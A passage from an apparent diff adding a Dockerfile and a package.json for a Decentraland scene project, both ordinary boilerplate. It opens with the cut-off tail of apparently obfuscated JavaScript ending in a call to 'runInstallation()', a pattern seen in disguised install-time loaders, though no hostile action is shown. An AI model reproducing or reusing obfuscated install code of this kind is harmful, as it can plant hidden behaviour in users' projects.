_0x25a5();}runInstallation();
@@ -0,0 +1,21 @@
1
+ FROM node:lts-alpine
2
+
3
+ # Create app directory
4
+ WORKDIR /usr/src/app
5
+
6
+ RUN npm install --global decentraland@next
7
+
8
+ # Install app dependencies
9
+ # A wildcard is used to ensure both package.json AND package-lock.json are copied
10
+ # where available (npm@5+)
11
+ COPY package*.json ./
12
+
13
+ RUN npm install
14
+ # If you are building your code for production
15
+ # RUN npm install --only=production
16
+
17
+ # Bundle app source
18
+ COPY . .
19
+
20
+ EXPOSE 8000
21
+ CMD [ "npm", "start", "--", "--ci" ]
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "dcl-project",
3
+ "version": "1.0.0",
4
+ "description": "My new Decentraland project",
5
+ "scripts": {
6
+ "start": "dcl start",
7
+ "build": "build-ecs",
8
+ "watch": "build-ecs --watch",
9
+ "deploy:now": "dcl export && now export",
10
+ "ecs:install": "npm install --save-dev decentraland-ecs@latest",
11
+ "ecs:install-next": "npm install --save-dev decentraland-ecs@next"
12
+ },
13
+ "devDependencies": {
14
+ "decentraland-ecs": "latest"
15
+ }
16
+ }